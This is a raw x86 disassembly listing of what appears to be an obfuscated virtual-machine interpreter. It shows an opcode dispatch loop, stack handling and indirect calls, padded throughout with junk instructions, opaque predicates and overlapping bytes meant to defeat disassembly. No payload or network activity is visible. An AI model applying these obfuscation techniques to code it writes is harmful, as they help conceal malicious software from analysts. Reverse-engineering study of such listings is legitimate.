cmp dword [ebp - 0x2a4], 0x75ff
je case.0x433a25.1
cmp dword [ebp - 0x2a4], 0x76e6
je 0x433ca8
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x77ec
jg 0x433b0f
cmp dword [ebp - 0x2a4], 0x77ec
je 0x434848
cmp dword [ebp - 0x2a4], 0x774b
je 0x433c49
cmp dword [ebp - 0x2a4], 0x779b
je 0x433e61
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x7814
je case.0x4331ef.0
cmp dword [ebp - 0x2a4], 0x7944
je 0x433e61
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x7dd1
jg 0x433bb6
cmp dword [ebp - 0x2a4], 0x7dd1
je 0x433e61
cmp dword [ebp - 0x2a4], 0x7b81
jg 0x433b91
cmp dword [ebp - 0x2a4], 0x7b81
je 0x433ca8
cmp dword [ebp - 0x2a4], 0x7a71
je 0x434664
cmp dword [ebp - 0x2a4], 0x7ae0
je 0x434196
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x7cea
je 0x434664
cmp dword [ebp - 0x2a4], 0x7cfb
je case.0x43319d.3
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x7e74
jg 0x433bf7
cmp dword [ebp - 0x2a4], 0x7e74
je case.0x4331ef.2
cmp dword [ebp - 0x2a4], 0x7dd6
je case.0x433a25.3
cmp dword [ebp - 0x2a4], 0x7e73
je 0x434196
jmp case.0x433a25.4
cmp dword [ebp - 0x2a4], 0x7f98
je case.0x433a25.2
jmp case.0x433a25.4
cld
inc esi
dec esi
mov esp, esp
jb 0x433c13
je 0x433c1c
jle 0x433c17
jns 0x433c19
jne 0x433c1c
sub eax, 0x89bea166
inc edx
add byte [eax - 0x75], dl
or eax, 0x4289b8
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov edx, dword [0x426708]
mov ecx, dword [edx]
add ecx, eax
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp case.0x433a25.4
cmp ecx, dword [esp]
jns 0x433c4e
jnp 0x433c50
sub esp, 0
jne 0x433c7b
pushf
rol edi, 0x1e
ror edi, 0x1e
lea esp, [esp]
test esp, 0x3c24
popf
lea edi, [edi + 0x2a92]
lea edi, [edi - 0x2a92]
jle 0x433c76
mov ecx, ecx
je 0x433c7b
mov esp, 0x89bea166
inc edx
add byte [eax - 0x75], dl
or eax, 0x4289b8
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov edx, dword [0x426708]
mov ecx, dword [edx]
sub ecx, eax
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp case.0x433a25.4
jp 0x433caa
test edi, ebx
xor esi, 0
lea edi, [edi + 0x12e5]
lea edi, [edi - 0x12e5]
jbe 0x433cd6
pushf
xor eax, 0
add esp, 0
popf
lea edi, [edi + 0x637d]
lea edi, [edi - 0x637d]
ja 0x433cd6
mov edi, 0x89bea166
inc edx
add byte [eax - 0x75], dl
or eax, 0x4289b8
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov edx, dword [0x426708]
mov ecx, dword [edx]
and ecx, eax
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp case.0x433a25.4
test dword [esp], ebx
ror ecx, 0x1d
ror ecx, 3
not eax
not eax
jp 0x433d12
jle 0x433d29
pushf
xchg edi, edi
xor eax, edx
xor eax, edx
jnp 0x433d1e
popf
xchg ebx, edi
xchg ebx, edi
xchg edx, edx
jg 0x433d29
and dword [esi - 0x5f], 0x4289be
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov edx, dword [0x426708]
mov ecx, dword [edx]
or ecx, eax
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp case.0x433a25.4
je 0x433d58
je 0x433d65
mov esp, esp
nop
xchg esp, esp
jns 0x433d61
jne 0x433d65
mov eax, 0xbea16642
mov dword [edx], eax
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov edx, dword [0x426708]
mov ecx, dword [edx]
xor ecx, eax
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp case.0x433a25.4
xchg ebx, esi
xchg ebx, esi
jl 0x433da7
pushf
jnp 0x433d9c
popf
xchg esp, esp
xchg ecx, ecx
jge 0x433da4
jge 0x433da7
call 0x8a01df11
inc edx
add byte [eax - 0x75], dl
or eax, 0x4289b8
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov edx, dword [0x426708]
mov ecx, dword [edx]
imul ecx, eax
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp case.0x433a25.4
test dword [esp + 8], eax
stc
xchg ebx, eax
xchg ebx, eax
cmp esp, 0x6883
je 0x433df5
pushf
cmp esp, 0x5c5f
clc
popf
jg 0x433df1
nop
jne 0x433df5
ljmp 0x42:0x89bea166
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
mov ecx, eax
mov edx, dword [0x426708]
mov eax, dword [edx]
xor edx, edx
div ecx
mov ecx, dword [0x426708]
mov dword [ecx], eax
jmp case.0x433a25.4
jge 0x433e28
nop
jne 0x433e2b
ja 0x433e2d
jnp 0x433e45
pushf
add esp, 0
test esp, 0x3a68
popf
jne 0x433e3e
jae 0x433e40
jp 0x433e42
xor edx, edx
mov dx, word [0x4289be]
mov eax, dword [0x426708]
mov ecx, dword [0x4289b8]
mov dword [eax + edx*4], ecx
jmp case.0x433a25.4
rol esp, 0
jbe 0x433e7d
pushf
cmp eax, 0x4bbb
shl ebx, 0
js 0x433e72
jo 0x433e74
popf
lea esi, [esi]
jle 0x433e7a
ja 0x433e7d
mov ebp, 0xbe158b66
mov dword [edx], eax
mov dx, word [0x4289be]
push edx
mov eax, dword [0x4289b8]
push eax
call fcn.00444e85
add esp, 8
mov dword [0x4289b8], eax
cmp ebx, dword [esp + 8]
jne 0x433e9e
jns 0x433ea0
jb 0x433ead
mov esp, esp
ja 0x433ea6
jno 0x433ea8
jae 0x433eaa
jae 0x433ead
sub eax, 0x67080d8b
inc edx
add byte [ebx + 0xd8904e9], al
or byte [edi + 0x42], ah
add byte [ebx + 0x42670815], cl
add byte [ecx + 0x4289b8], ah
mov ecx, dword [0x426708]
sub ecx, 4
mov dword [0x426708], ecx
mov edx, dword [0x426708]
mov eax, dword [0x4289b8]
mov dword [edx], eax
jmp case.0x433a25.4
neg edx
neg edx
jge 0x433ed9
jb 0x433ed6
jl 0x433ed9
mov eax, 0x67080d8b
inc edx
add byte [ebx - 0x5e99adef], cl
mov esi, 0x50004289
mov ecx, dword [0x426708]
mov edx, dword [ecx]
push edx
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00445d60
add esp, 0xc
rol edx, 0x17
ror edx, 0x17
cmp edi, dword [esp]
je 0x433f03
cld
jg 0x433f12
xchg esp, esp
xchg esi, eax
xchg esi, eax
jb 0x433f0c
lea eax, [eax]
jle 0x433f12
lcall 0x4267, 0x8158b7f
add byte [ebx + 0x158904c2], al
or byte [edi + 0x42], ah
add cl, ch
sub cl, byte [edx]
add byte [eax], al
mov edx, dword [0x426708]
add edx, 4
mov dword [0x426708], edx
jmp case.0x433a25.4
lea esi, [esi + 0x14b4]
lea esi, [esi - 0x14b4]
ror eax, 0
jg 0x433f37
jnp 0x433f4e
jl 0x433f3b
jae 0x433f3d
lea esi, [esi + 0x42e0]
lea esi, [esi - 0x42e0]
je 0x433f4b
mov eax, dword [0x426708]
mov ecx, dword [eax]
push ecx
mov dx, word [0x4289be]
push edx
mov eax, dword [0x4289b8]
push eax
call fcn.00445d60
add esp, 0xc
jmp case.0x433a25.4
sub esp, 0
or edx, 0
jns 0x433f79
jg 0x433f83
jge 0x433f7d
jns 0x433f7f
jle 0x433f83
sub eax, 0x66006ac3
mov ecx, dword [0x4289be]
push 0
mov cx, word [0x4289be]
push ecx
mov edx, dword [0x4289b8]
push edx
call fcn.00445d60
add esp, 0xc
jmp case.0x433a25.4
lea esp, [esp]
push ebx
pop ebx
add eax, dword [esp]
sub eax, dword [esp]
jg 0x433fb4
jbe 0x433fb0
jle 0x433fb4
sub eax, 0xbea166a0
mov dword [edx], eax
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00444e85
add esp, 8
add eax, 1
push eax
mov dx, word [0x4289be]
push edx
mov eax, dword [0x4289b8]
push eax
call fcn.00445d60
add esp, 0xc
jmp case.0x433a25.4
or esi, 0
or esp, 0
jo 0x433ff7
ja 0x433ff3
jno 0x433ff7
mov eax, 0xd8b660d
mov esi, 0x51004289
mov cx, word [0x4289be]
push ecx
mov edx, dword [0x4289b8]
push edx
call fcn.00444e85
add esp, 8
sub eax, 1
push eax
mov ax, word [0x4289be]
push eax
mov ecx, dword [0x4289b8]
push ecx
call fcn.00445d60
add esp, 0xc
jmp case.0x433a25.4
lea ebx, [ebx + 0xb4e]
lea ebx, [ebx - 0xb4e]
jle 0x43404c
pushf
jmp 0x43403f
lea eax, [eax]
popf
jb 0x434045
jnp 0x434047
jo 0x434049
jg 0x43404c
xor eax, 0x8b66d233
adc eax, 0x4289be
xor edx, edx
mov dx, word [0x4289be]
mov eax, dword [0x426708]
mov ecx, dword [eax]
mov eax, dword [0x426708]
add eax, 4
mov dword [0x426708], eax
cmp ecx, edx
je 0x4340b4
call 0x434072
lea esp, [esp + 4]
add esp, 0
jo 0x434081
jge 0x43407d
jno 0x434081
ljmp 0x4267:0x80d8b61
mov ecx, dword [0x426708]
sub ecx, 4
mov dword [0x426708], ecx
mov edx, dword [0x426708]
mov eax, dword [0x42670c]
mov dword [edx], eax
nop
jae 0x4340a8
jnp 0x4340a2
jl 0x4340a4
jb 0x4340a8
mov eax, 0xb80d8b3d
mov dword [edx], eax
mov ecx, dword [0x4289b8]
mov dword [0x42670c], ecx
jmp case.0x433a25.4
cmp edi, dword [esp + 0xc]
jae 0x4340bf
jnp 0x4340d7
pushf
cmp ebx, dword [esp + 0x10]
cmp edx, dword [esp]
mov esi, esi
jl 0x4340ce
popf
xchg esi, esi
je 0x4340d4
jp 0x4340d7
mov ebp, 0x8b66d233
adc eax, 0x4289be
xor edx, edx
mov dx, word [0x4289be]
mov eax, dword [0x426708]
mov ecx, dword [eax]
mov eax, dword [0x426708]
add eax, 4
mov dword [0x426708], eax
cmp ecx, edx
jne 0x43413b
lea esp, [esp]
ja 0x434102
lea ebx, [ebx]
jbe 0x434102
mov esi, 0x67080d8b
inc edx
add byte [ebx + 0xd8904e9], al
or byte [edi + 0x42], ah
add byte [ebx + 0x42670815], cl
add byte [ecx + 0x42670c], ah
mov ecx, dword [0x426708]
sub ecx, 4
mov dword [0x426708], ecx
mov edx, dword [0x426708]
mov eax, dword [0x42670c]
mov dword [edx], eax
xchg ebx, ebx
nop
mov esp, esp
jle 0x43412f
xchg esp, esp
xchg ecx, ecx
jno 0x43412b
nop
jg 0x43412f
add eax, 0x89b80d8b
inc edx
add byte [ecx + 0x42670c0d], cl
add cl, ch
adc byte [eax], cl
add byte [eax], al
mov ecx, dword [0x4289b8]
mov dword [0x42670c], ecx
jmp case.0x433a25.4
cmp edx, eax
neg edi
neg edi
jae 0x434148
or eax, 0
rol esp, 0
clc
js 0x43417a
je 0x434185
jno 0x43417e
mov edi, edi
jb 0x434182
jne 0x434185
mov ebp, 0x89b8158b
inc edx
add byte [ecx + 0x42670c15], cl
add cl, ch
mov edx, 0xfd000007
mov edx, dword [0x4289b8]
mov dword [0x42670c], edx
jmp case.0x433a25.4
std
cld
jbe 0x43419a
or ebx, ebx
js 0x4341b5
pushf
call 0x4341a5
lea esp, [esp + 4]
lea esp, [esp]
jg 0x4341ae
popf
jnp 0x4341b2
jns 0x4341b5
mov eax, 0x426708a1
add byte [ebx + 0xc0d8908], cl
inc edx
add cl, al
out 0, al
mov eax, dword [0x426708]
mov ecx, dword [eax]
mov dword [0x42670c], ecx
shl esi, 0
call 0x4341ca
add esp, 4
shr esp, 0
jl 0x4341ef
pushf
rol esi, 0
ror edi, 0
popf
xchg esp, esp
jl 0x4341e0
lea edx, [edx + 0x4a43]
lea edx, [edx - 0x4a43]
jge 0x4341ef
jmp 0x8baa1426
xor edx, edx
mov dx, word [0x4289be]
mov eax, dword [0x426708]
lea ecx, [eax + edx*4]
mov dword [0x426708], ecx
jmp case.0x433a25.4
jae 0x43420d
jae 0x43420f
nop
ror esi, 0
jle 0x434222
pushf
xor ecx, edi
xor ecx, edi
popf
jns 0x43421f
jg 0x434222
mov esp, 0x8b66d233
adc eax, 0x4289be
xor edx, edx
mov dx, word [0x4289be]
mov dword [ebp - 0x2a8], edx
cmp dword [ebp - 0x2a8], 0x393d
jg 0x4342b7
cmp dword [ebp - 0x2a8], 0x393d
je 0x434303
cmp dword [ebp - 0x2a8], 0x2ae9
jg 0x43429a
cmp dword [ebp - 0x2a8], 0x2ae9
je 0x434303
cmp dword [ebp - 0x2a8], 0x1219
je 0x434325
cmp dword [ebp - 0x2a8], 0x2013
je 0x434303
cmp dword [ebp - 0x2a8], 0x2c1c
je 0x434303
cmp dword [ebp - 0x2a8], 0x3237
je 0x434325
jmp 0x434350
cmp dword [ebp - 0x2a8], 0x59a0
jg 0x4342e9
cmp dword [ebp - 0x2a8], 0x59a0
je 0x434325
cmp dword [ebp - 0x2a8], 0x3c11
je 0x434325
cmp dword [ebp - 0x2a8], 0x4403
je 0x434325
jmp 0x434350
cmp dword [ebp - 0x2a8], 0x6795
je 0x434303
cmp dword [ebp - 0x2a8], 0x68c5
je 0x434303
jmp 0x434350
add esp, 0
nop
jp 0x43430e
nop
jnp 0x43430e
mov edi, 0x6708a108
inc edx
add byte [ebx - 0x1e7ef8], cl
add byte [eax], al
add byte [ebx + 0x42670815], cl
add byte [ecx - 0x74d414f6], cl
leave
mov eax, dword [0x426708]
mov ecx, dword [eax]
and ecx, 0xff
mov edx, dword [0x426708]
mov dword [edx], ecx
jmp 0x434350
mov ecx, ecx
push edi
pop edi
jl 0x43432b
jno 0x43433b
pushf
xchg edx, edi
xchg edx, edi
popf
lea esp, [esp]
jo 0x43433b
mov eax, dword [0x426708]
mov ecx, dword [eax]
and ecx, 0xffff
mov edx, dword [0x426708]
mov dword [edx], ecx
std
cld
cld
ja 0x434368
push edi
add edi, 0x5047
ror edi, 0x13
pop edi
jl 0x4343b8
pushf
shl esp, 0
xor edi, dword [esp]
xor edi, dword [esp]
cld
ror ebx, 0
popf
xchg esi, ebx
xchg esi, ebx
jmp 0x4343b5
jge 0x4343b8
add eax, 0x8b66c933
or eax, 0x4289be
xor ecx, ecx
mov cx, word [0x4289be]
mov dword [ebp - 0x2ac], ecx
cmp dword [ebp - 0x2ac], 0x393d
jg 0x43444d
cmp dword [ebp - 0x2ac], 0x393d
je 0x434499
cmp dword [ebp - 0x2ac], 0x2ae9
jg 0x434430
cmp dword [ebp - 0x2ac], 0x2ae9
je 0x434499
cmp dword [ebp - 0x2ac], 0x1219
je 0x4344bc
cmp dword [ebp - 0x2ac], 0x2013
je 0x434499
cmp dword [ebp - 0x2ac], 0x25f2
je 0x4344bc
cmp dword [ebp - 0x2ac], 0x2c1c
je 0x434499
cmp dword [ebp - 0x2ac], 0x3237
je 0x4344bc
jmp 0x4344e6
cmp dword [ebp - 0x2ac], 0x59a0
jg 0x43447f
cmp dword [ebp - 0x2ac], 0x59a0
je 0x4344bc
cmp dword [ebp - 0x2ac], 0x3c11
je 0x4344bc
cmp dword [ebp - 0x2ac], 0x4403
je 0x4344bc
jmp 0x4344e6
cmp dword [ebp - 0x2ac], 0x6795
je 0x434499
cmp dword [ebp - 0x2ac], 0x68c5
je 0x434499
jmp 0x4344e6
push esi
pop esi
add ecx, 0
jno 0x4344a5
jb 0x4344a2
jo 0x4344a5
mov ebx, 0x6708158b
inc edx
add byte [ebx + 0xff2502], cl
add byte [eax], al
mov edx, dword [0x426708]
mov eax, dword [edx]
and eax, 0xff
mov ecx, dword [0x426708]
mov dword [ecx], eax
jmp 0x4344e6
sub esp, 0
jno 0x4344c1
cmp eax, dword [esp]
sub edx, 0
js 0x4344d1
mov esi, esi
xchg edi, edi
jns 0x4344d1
mov eax, 0x8158b2a
inc edx
add byte [ebx - 0xdafe], cl
add byte [eax], al
mov edx, dword [0x426708]
mov eax, dword [edx]
and eax, 0xffff
mov ecx, dword [0x426708]
mov dword [ecx], eax
sub esp, 0
jle 0x434500
mov esp, esp
lea esi, [esi + 0x6ffa]
lea esi, [esi - 0x6ffa]
xchg edx, edx
jg 0x434500
mov edx, dword [0x426708]
mov eax, dword [edx]
mov ecx, dword [0x426708]
add ecx, 4
mov dword [0x426708], ecx
test eax, eax
je 0x434527
test esp, 0x7c4a
jne 0x43453c
lea esp, [esp]
je 0x43453c
mov eax, 0x8a13ccc
inc edx
add byte [ebx + 0x8a304e8], al
inc edx
add byte [edx], dh
mov eax, dword [0x426708]
sub eax, 4
mov dword [0x426708], eax
jb 0x43454b
lea eax, [eax]
jns 0x43455b
jge 0x434551
jnp 0x434553
jno 0x434555
jp 0x434557
call dword [0x4289b8]
mov ecx, dword [0x426708]
mov dword [ecx], eax
jmp case.0x433a25.4
and esi, 0xffffffff
test dword [esp], eax
dec eax
inc eax
jp 0x434589
pushf
rol esi, 0
nop
popf
je 0x434582
xchg edi, eax
xchg edi, eax
ja 0x434586
jnp 0x434589
mov ecx, 0x6708158b
inc edx
add byte [ebx + 0x15ff5002], cl
mov eax, 0x8b004289
or eax, 0x426708
mov edx, dword [0x426708]
mov eax, dword [edx]
push eax
call dword [0x4289b8]
mov ecx, dword [0x426708]
mov dword [ecx], eax
jmp case.0x433a25.4
cld
add ebx, 0
cmc
jnp 0x4345b2
ja 0x4345ae
jp 0x4345b2
jmp 0x858d180
mov edx, dword [0x426708]
mov eax, dword [edx]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 4]
push edx
call dword [0x4289b8]
mov ecx, dword [0x426708]
mov dword [ecx + 4], eax
nop
lea ecx, [ecx]
jp 0x4345ee
jo 0x4345db
lea esi, [esi + 0x16a8]
lea esi, [esi - 0x16a8]
nop
jp 0x4345ea
jnp 0x4345ee
mov ebp, 0x8158b4f
inc edx
add byte [ebx + 0x158904c2], al
or byte [edi + 0x42], ah
add cl, ch
dec esi
add eax, dword [eax]
add cl, al
invalid
ret
mov edx, dword [0x426708]
add edx, 4
mov dword [0x426708], edx
jmp case.0x433a25.4
rol ebx, 8
rol ebx, 0x18
xor edi, 0
jne 0x43460d
ja 0x434618
jne 0x434611
jge 0x434613
xchg esp, esp
jbe 0x434618
mov ebx, 0x426708a1
add byte [ebx + 0x158b5108], cl
or byte [edi + 0x42], ah
add byte [ebx - 0x74affbbe], cl
or eax, 0x426708
mov eax, dword [0x426708]
mov ecx, dword [eax]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 8]
push edx
call dword [0x4289b8]
mov ecx, dword [0x426708]
mov dword [ecx + 8], eax
je 0x434645
or eax, eax
and ecx, 0xffffffff
jle 0x434650
nop
jg 0x434650
lcall 0x42, 0x6708158b
mov edx, dword [0x426708]
add edx, 8
mov dword [0x426708], edx
jmp case.0x433a25.4
ror eax, 0
and esi, esi
cmp esi, dword [esp + 8]
jle 0x434687
pushf
jge 0x434673
cmp esi, 0x5770
xor esp, 0
popf
xchg esi, esi
jns 0x434682
lea ecx, [ecx]
jg 0x434687
lcall 0x8b00, 0x426708a1
or byte [ecx - 0x75], dl
adc eax, 0x426708
mov eax, dword [0x426708]
mov ecx, dword [eax]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0xc]
push ecx
call dword [0x4289b8]
mov edx, dword [0x426708]
mov dword [edx + 0xc], eax
shl esp, 0
jg 0x4346c0
je 0x4346e0
pushf
std
cld
ror esi, 0
cmp ebx, dword [esp + 4]
popf
lea ecx, [ecx + 0x42c2]
lea ecx, [ecx - 0x42c2]
je 0x4346dd
jne 0x4346e0
lcall 0x8300, 0x426708a1
ror byte [ebx], 8
inc edx
add cl, ch
pop esi
add al, byte [eax]
add byte [esi + 0x4e], al
inc esi
dec esi
mov eax, dword [0x426708]
add eax, 0xc
mov dword [0x426708], eax
jmp case.0x433a25.4
inc esi
dec esi
rol esi, 0
and esp, 0xffffffff
je 0x434701
lea esi, [esi]
jne 0x434701
mov eax, 0x67080d8b
inc edx
add byte [ebx + 0x8a15211], cl
inc edx
add byte [ebx - 0x74aefbb8], cl
adc eax, 0x426708
mov ecx, dword [0x426708]
mov edx, dword [ecx]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0x10]
push ecx
call dword [0x4289b8]
mov edx, dword [0x426708]
mov dword [edx + 0x10], eax
and esp, 0xffffffff
and ebx, ebx
js 0x434755
pushf
clc
ja 0x43474b
test dword [esp], edi
popf
xchg ecx, eax
xchg ecx, eax
jns 0x434755
mov eax, dword [0x426708]
add eax, 0x10
mov dword [0x426708], eax
jmp case.0x433a25.4
mov edi, edi
jo 0x434780
pushf
cld
ror edi, 0xd
rol edi, 0xd
rol esp, 0
popf
jl 0x43477b
jg 0x43477d
jno 0x434780
mov eax, 0x67080d8b
inc edx
add byte [ebx + 0x8a15211], cl
inc edx
add byte [ebx - 0x74aefbb8], cl
adc eax, 0x426708
mov ecx, dword [0x426708]
mov edx, dword [ecx]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 0x14]
push eax
call dword [0x4289b8]
mov ecx, dword [0x426708]
mov dword [ecx + 0x14], eax
jle 0x4347ca
jg 0x4347d1
xchg ecx, ecx
jle 0x4347d1
call 0x674b5d60
inc edx
add byte [ebx + 0x158914c2], al
or byte [edi + 0x42], ah
add cl, ch
imul eax, dword [ecx], 0
add byte [ecx + 0x426708], ah
mov edx, dword [0x426708]
add edx, 0x14
mov dword [0x426708], edx
jmp case.0x433a25.4
mov eax, dword [0x426708]
mov ecx, dword [eax]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 0x14]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0x18]
push ecx
call dword [0x4289b8]
mov edx, dword [0x426708]
mov dword [edx + 0x18], eax
mov eax, dword [0x426708]
add eax, 0x18
mov dword [0x426708], eax
jmp case.0x433a25.4
mov ecx, dword [0x426708]
mov edx, dword [ecx]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [0x426708]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [0x426708]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [0x426708]
mov ecx, dword [eax + 0x1c]
push ecx
call dword [0x4289b8]
mov edx, dword [0x426708]
mov dword [edx + 0x1c], eax
mov eax, dword [0x426708]
add eax, 0x1c
mov dword [0x426708], eax
jmp case.0x433a25.4
xor esp, 0
call 0x4348bd
add esp, 4
xor edi, dword [esp]
xor edi, dword [esp]
jae 0x4348d1
mov eax, eax
mov edx, edx
js 0x4348ce
jb 0x4348d1
xor dword [ebx], 0xd8b66c9
mov esi, 0x89004289
or eax, 0x428aa0
xor ecx, ecx
mov cx, word [0x4289be]
mov dword [0x428aa0], ecx
mov edx, dword [0x428aa0]
mov dword [ebp - 0x2b0], edx
cmp dword [ebp - 0x2b0], 0x21
ja case.0x434903.3
mov ecx, dword [ebp - 0x2b0]
xor eax, eax
mov al, byte [ecx + 0x435768]
jmp dword [eax*4 + 0x435758]
jne 0x43490c
xor ebx, dword [esp + 4]
xor ebx, dword [esp + 4]
cmp eax, 0x3b15
jne 0x43491b
jns 0x434922
xchg ecx, ecx
js 0x434922
mov ebp, 0x5c731eb
mov al, byte [0x200428a]
add byte [eax], al
add bh, al
add eax, 0x428a34
or al, byte [eax]
add byte [eax], al
jmp 0x434955
mov dword [0x428aa0], 2
mov dword [0x428a34], 0xa
mov dx, word [section.0000004]
and dx, 0xfffe
mov word [section.0000004], dx
jmp 0x434e80
jmp 0x432c33
jb 0x434957
ror esp, 0
jne 0x434962
nop
je 0x434962
mov esi, 0x3d833d36
enter 0x41c5, 0
add byte [edi], cl
test byte [eax - 0x7d000000], cl
in al, 0xff
cmp dword [0x41c5c8], 0
je 0x4349f7
and esp, 0xffffffff
std
cld
jo 0x434983
clc
jp 0x434a13